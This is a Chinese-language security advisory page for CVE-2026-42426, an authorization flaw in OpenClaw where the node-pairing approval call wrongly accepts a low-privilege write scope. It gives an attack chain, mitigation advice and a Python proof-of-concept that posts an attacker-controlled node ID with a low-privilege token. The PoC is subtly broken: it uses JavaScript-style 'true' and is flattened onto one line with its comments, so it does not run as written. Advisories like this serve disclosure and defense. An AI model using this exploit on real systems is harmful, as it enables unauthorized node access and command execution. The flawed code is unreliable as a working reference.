IPBUF安全漏洞报告
English
CVE-2026-42426 CVSS 8.8 高危

CVE-2026-42426 OpenClaw权限不当漏洞

披露日期: 2026-04-28

漏洞信息

漏洞编号
CVE-2026-42426
漏洞类型
权限不当
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
OpenClaw

相关标签

权限不当授权绕过OpenClawCVE-2026-42426

漏洞概述

OpenClaw 2026.4.8之前的版本存在权限不当漏洞。由于`node.pair.approve`方法错误地接受了`operator.write`作用域而非`operator.pairing`作用域,导致拥有低权限的用户可以批准节点配对。这允许攻击者绕过配对批准限制,从而未授权访问具有执行能力的节点,造成严重的安全风险。

技术细节

该漏洞源于OpenClaw在节点配对流程中的权限校验逻辑存在严重缺陷。具体的技术问题在于`node.pair.approve`方法在实现时,错误地将`operator.write`作用域作为权限判断的依据,而非本应使用的、权限范围更窄的`operator.pairing`作用域。在OpenClaw的权限模型中,`operator.write`通常属于常规操作权限,容易被分配给低级别用户,而`operator.pairing`则是敏感的管理权限。攻击者只需获取到`operator.write`权限的Token,即可构造特定的HTTP请求调用`node.pair.approve`接口。由于系统未正确校验更高级别的配对权限,攻击者可以成功绕过审批机制,强制批准受控节点的接入请求。一旦节点配对成功,攻击者即可利用该节点的执行能力,进一步在目标系统上执行任意命令,完全控制系统。

攻击链分析

STEP 1
1. 权限获取
攻击者获取一个具有operator.write权限的合法账号或Token。
STEP 2
2. 请求构造
攻击者准备一个恶意节点,并构造包含node.pair.approve方法的API请求,将恶意节点ID填入参数。
STEP 3
3. 权限绕过
向目标服务器发送请求,系统错误地认为operator.write权限足以通过授权检查。
STEP 4
4. 节点接入
系统批准了恶意节点的配对请求,攻击者获得了对目标节点的访问权限。
STEP 5
5. 执行攻击
利用已配对节点的exec能力,在目标系统上执行命令或进一步渗透。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL of the vulnerable OpenClaw instance target_url = "https://<target-host>/api/v1/node.pair.approve" # Authorization token with 'operator.write' scope (Low Privilege) # This token should not be able to approve pairing, but due to the vuln it can. bearer_token = "Bearer <operator_write_token>" headers = { "Authorization": bearer_token, "Content-Type": "application/json" } # Malicious node ID to be approved payload = { "node_id": "attacker_controlled_node", "approve": true } try: # Send request to approve the node pairing response = requests.post(target_url, json=payload, headers=headers, verify=False) if response.status_code == 200: print("[+] Exploit Successful! Node approved via operator.write scope.") else: print(f"[-] Exploit Failed. Status Code: {response.status_code}") print(response.text) except Exception as e: print(f"[!] Error: {e}")

影响范围

OpenClaw < 2026.4.8

防御指南

临时缓解措施
在未升级补丁前,建议立即撤销非管理员用户的operator.write权限,或在网络层面阻断对/node.pair.approve接口的调用请求,直至完成版本更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表